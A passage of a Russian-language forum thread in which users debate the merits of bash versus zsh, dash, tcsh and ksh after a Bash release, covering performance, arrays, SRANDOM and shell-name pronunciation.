244. Сообщение от Аноним (16), 09-Дек-20, 02:32 | +/– | ![]() |
Хотя он может и взаимодествовать с интерпретатором. А ещё он может освобождать gil и всё остальное, из-за чего питон получает нехилый буст к производительности. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #243 |
245. Сообщение от Борат Сагдиев (?), 09-Дек-20, 02:46 | +/– | ![]() |
На macos bash нужно устанавливать самому, в отличие от zsh. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #70 |
246. Сообщение от псевдонимус (?), 09-Дек-20, 05:10 | +/– | ![]() |
> Да. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #236 |
247. Сообщение от нежданчик (?), 09-Дек-20, 05:43 | +/– | ![]() |
Можно поинтересоваться, у вас уже доллар в свободной продаже или нет? Если - да, то покупайте на всё рубли, он скоро повысится! =)) | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #80 |
248. Сообщение от Аноним (248), 09-Дек-20, 06:40 | +/– | ![]() |
У вас уже есть идеальные программисты, которые никогда не ошибаются? В противном случае, использовать язык-ногострел себе дороже. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #52 Ответы: #258 |
249. Сообщение от Видавший всякое (?), 09-Дек-20, 06:44 | +2 +/– | ![]() |
> пары строк | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #127 Ответы: #281 |
250. Сообщение от Logic Logic (?), 09-Дек-20, 07:39 | +1 +/– | ![]() |
Если подумать *по-настоящему* логично, то все крайне просто. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #118 |
251. Сообщение от tmplsr (?), 09-Дек-20, 09:53 | +/– | ![]() |
>Батников и волков коммандер достаточно для всего:-)) | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #80 |
252. Сообщение от tmplsr (?), 09-Дек-20, 10:00 | +/– | ![]() |
>Во-первых, не немецкого, а латинского: | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #88 Ответы: #298 |
253. Сообщение от InuYasha (??), 09-Дек-20, 11:55 | +/– | ![]() |
> Под ведроид есть фришный termux с башем и терминалами. Ставь и не | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #138 |
254. Сообщение от InuYasha (??), 09-Дек-20, 12:00 | +/– | ![]() |
Ну, да, всё верно: в зависимости от предпочтения - "зи эс эйч" или "зед эс эйч", а по-русски (на латыни) - "зэ эс аш". Других вариантов в жизни я не слылал. Ну и пишут "ЗСШ" иногда ) | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #123 |
255. Сообщение от InuYasha (??), 09-Дек-20, 12:20 | +/– | ![]() |
Ну, расскажи, чем вы отправляете команды на сервер? Ансибл-дством? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #115 |
256. Сообщение от Аноним (256), 09-Дек-20, 12:33 | –2 +/– | ![]() |
> Что-то я не понял, а при чём тут bash? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #198 Ответы: #260 |
257. Сообщение от Аноним (257), 09-Дек-20, 13:03 | +/– | ![]() |
> Переработан движок генерации псевдослучайных чисел. Добавлена переменная SRANDOM, содержащая случайное 32-разрядное число из системного генератора псевдослучайных чисел (вместо LCRNG использованы вызовы getrandom/getentropy, /dev/urandom или arc4random, в зависимости от ОС). Выдаваемая последовательность теперь не является линейной и не повторяется при идентичном следовании запросов. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #274 |
258. Сообщение от Аноним (230), 09-Дек-20, 14:00 | +/– | ![]() |
У тебя уже есть идеальный язык, который не позволяет выстрелить себе в ногу? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #248 Ответы: #268 |
259. Сообщение от IRASoldier_registered (ok), 09-Дек-20, 14:00 | +/– | ![]() |
> У меня нет цели сохранять традицию | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #242 Ответы: #282 |
260. Сообщение от Аноним (261), 09-Дек-20, 14:21 | +/– | ![]() |
Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #256 Ответы: #267 |
261. Сообщение от Аноним (261), 09-Дек-20, 14:26 | +/– | ![]() |
В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого не делает, так что тест некорректен. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #238 Ответы: #266 |
262. Сообщение от Аноним (230), 09-Дек-20, 14:29 | +/– | ![]() |
> выкидывают баш ради 600 киль | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #131 |
263. Сообщение от Аноним (263), 09-Дек-20, 14:37 | –1 +/– | ![]() |
Числодробилки никто не пишет на интерпретаторах. Если брать интерпретатор, то сама числодробилка должна быть на сях/плюсах. Сам код может быть модулем для твоего интерпретатора (CPython, cffi и т.п.). И не потому что си быстрее, а потому что числа лежат на стеке, а не в куче. Гугли l1 cache speed vs ram. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #150 Ответы: #269 |
264. Сообщение от Аноним (230), 09-Дек-20, 14:42 | +/– | ![]() |
Ты бредишь. Классический sh — это Борн шелл. И ksh к нему намного ближе, чем нынешний bash. Но все они из одной оперы, дугой лагерь — это csh и его вариации, столь любимые в FreeBSD. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #221 |
265. Сообщение от Аноним (263), 09-Дек-20, 14:43 | +/– | ![]() |
>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #63 Ответы: #270 |
266. Сообщение от Аноним (263), 09-Дек-20, 15:00 | +/– | ![]() |
> В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #261 Ответы: #278 |
267. Сообщение от Аноним (-), 09-Дек-20, 15:13 | +/– | ![]() |
>Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #260 Ответы: #271 |
268. Сообщение от Аноним (268), 09-Дек-20, 15:19 | +/– | ![]() |
Не позволяет и поощряет это очень разные вещи. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #258 |
269. Сообщение от Аноним (16), 09-Дек-20, 15:42 | +/– | ![]() |
А почему я не могу делать это на интерпретаторе? Да я протупил, за доли секунды складываются 300к значений в баше. Для сравнения сумма полутора миллиона значений тоже за доли секунды. Так что ты неправ, выходит. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #263 |
270. Сообщение от Аноним (16), 09-Дек-20, 15:47 | +/– | ![]() |
Не делай вид, что не понял, о чём я. Никто не говорил о единовременном форкании, только о последовательном. Особенно ощутимо это в венде конечно, в линуксе с некоторых пор получше, но тоже не сахар. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #265 |
271. Сообщение от Аноним (261), 09-Дек-20, 17:08 | +/– | ![]() |
> А хамить обязательно надо? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #267 Ответы: #275 |
272. Сообщение от Аноним (230), 09-Дек-20, 17:50 | +/– | ![]() |
А потом — то есть perl. А потом — что есть python, и дальше по кругу. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #220 Ответы: #277 |
273. Сообщение от VINRARUS (ok), 09-Дек-20, 19:29 | +/– | ![]() |
>Я просто объявляю все числа числами, очень удобно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #227 Ответы: #279 |
274. Сообщение от VINRARUS (ok), 09-Дек-20, 19:41 | +/– | ![]() |
Ещо один признак кривости bash и его ненужности. Это ж нада было так упороться шобы повторяющиеся числа даже не попытаться сдвинуть по времени запуска хотя б... | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #257 |
275. Сообщение от VINRARUS (ok), 09-Дек-20, 19:51 | –1 +/– | ![]() |
>а к тому анониму, который написал комментарий #256 | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #271 |
276. Сообщение от Аноним (276), 09-Дек-20, 21:51 | +/– | ![]() |
>"зиш". Баш и зиш, да. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #71 Ответы: #284 |
277. Сообщение от Аноним (263), 09-Дек-20, 21:58 | +/– | ![]() |
>А потом — то есть perl. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #272 |
278. Сообщение от Аноним (261), 09-Дек-20, 22:11 | +/– | ![]() |
О том и речь. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #266 |
279. Сообщение от Аноним (16), 09-Дек-20, 22:42 | +/– | ![]() |
А ничего особенного, типичная задача сложить миллион другой чисел, что такого. Как узнать в даше что это даш? Я так понял сложение чисел это слишком сложная задача для даша, поскольку массивов нет количество элементов я тоже узнать не могу? Это фейл. Как мне получить последнее значение в строке? Его нужно сохранить в отдельную переменную и только потом удалить. А нное значение? Зачем нужен шел который не умеет даже таких базовых вещей? Тот же tcsh и то больше может, хотя казалось бы. Но, тот складывать вообще не умеет, так что массивы ему не помогут. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #273 Ответы: #280 |
280. Сообщение от VINRARUS (ok), 10-Дек-20, 00:05 | +/– | ![]() |
>Как узнать в даше что это даш? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #279 |
281. Сообщение от Аноним (281), 10-Дек-20, 06:58 | +/– | ![]() |
Он имел ввиду пары сотен строк | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #249 |
282. Сообщение от Ordu (ok), 10-Дек-20, 07:00 | +/– | ![]() |
>> У меня нет цели сохранять традицию | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #259 Ответы: #285 |
283. Сообщение от Аноним (283), 10-Дек-20, 15:46 | +/– | ![]() |
Когда уже rprompt заведут? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
284. Сообщение от IRASoldier_registered (ok), 10-Дек-20, 21:48 | +/– | ![]() |
В углу скребет мышь. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #276 |
285. Сообщение от IRASoldier_registered (ok), 10-Дек-20, 22:02 | +/– | ![]() |
>Если я скажу "гэцэцэ", ты поймёшь, а большего от тебя мне и не надо | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #282 Ответы: #287 |
286. Сообщение от Аноним (16), 11-Дек-20, 04:32 | +/– | ![]() |
Всё ещё костыли, ужасные костыли, мусор, никуда не годится. Тот же tr заменяется на башизмы, sed заменяется на башизмы, grep тоже заменяется на башизмы, в итоге меньше операций, меньше времени расходуется впустую. Другое дело, что в коде который исполняется 1 раз это всё принципиально не нужно, но в твоём коде 100500 внешних вызовов -- каждый раз, когда тебе понадобится значение, его придётся выстрадывать. А значений там с полсотни, и это ведь только простенький кейс. А если что-то более сложное? Просто признай, что все шеллы, окромя баша, должны кануть в лету. И чем быстрее, тем лучше. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #234 Ответы: #293 |
287. Сообщение от Ordu (ok), 11-Дек-20, 04:42 | +/– | ![]() |
>>Если я скажу "гэцэцэ", ты поймёшь, а большего от тебя мне и не надо | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #285 Ответы: #290 |
288. Сообщение от Аноним (-), 11-Дек-20, 13:05 | +/– | ![]() |
Болванка :( | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #148 Ответы: #295 |
289. Сообщение от anonimous (?), 12-Дек-20, 00:24 | +/– | ![]() |
открой для себя chcon | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #155 |
290. Сообщение от IRASoldier_registered (ok), 13-Дек-20, 01:01 | +/– | ![]() |
> Не то и не другое. Ты путаешь английский с русским. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #287 Ответы: #291 |
291. Сообщение от Ordu (ok), 13-Дек-20, 05:37 | +/– | ![]() |
>> Не то и не другое. Ты путаешь английский с русским. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #290 Ответы: #292 |
292. Сообщение от IRASoldier_registered (ok), 14-Дек-20, 23:48 | +/– | ![]() |
> я свожу, мне это удобно, и я буду сводить | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #291 Ответы: #296 |
293. Сообщение от Аноним (230), 15-Дек-20, 01:35 | +/– | ![]() |
Да, костыли. Но и eval костыль, и башизмы твои — костыли. Просто признай, что там, где нужна производительность и/или работа со сложно структурированными данными, никакой шелл не годится. Зато только шелл годится в случаях, когда нужно написать скрипт, который будет работать везде и всегда. Но нет, это не про bash. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #286 Ответы: #294 |
294. Сообщение от Аноним (16), 15-Дек-20, 10:04 | +/– | ![]() |
Всё же получше. Баш пытается изображать язык программирования. Вот я сейчас беру десятки пресетов, генерирую из них массивы, и достаточно эффективно сравниваю с ними (и работаю со значениями) используя средства шелла, и мне даже не надо думать о том, что будет, если там окажется что-то не то -- шелл сам сообщит об этом. А ещё баш имеет синтаксис для модификации элементов массива, он видится мне более аккуратным чем возня со строками. Тут же рядом у меня используется extglob, у даша этого опять же нет. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #293 |
295. Сообщение от Энон (?), 15-Дек-20, 10:06 | +/– | ![]() |
Докажи отсутствие чайника на орбите за Марсом, дурачок. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #288 |
296. Сообщение от Ordu (ok), 15-Дек-20, 12:14 | +/– | ![]() |
>> я свожу, мне это удобно, и я буду сводить | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #292 Ответы: #297 |
297. Сообщение от IRASoldier_registered (ok), 16-Дек-20, 19:08 | +/– | ![]() |
>английские названия букв в русском | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #296 |
298. Сообщение от IRASoldier_registered (ok), 16-Дек-20, 19:15 | +/– | ![]() |
> Томик "Писем тёмных людей" | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #252 |
Архив | Удалить |
Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема |
Закладки на сайте Проследить за страницей |
Created 1996-2025 by Maxim Chirkov Добавить, Поддержать, Вебмастеру |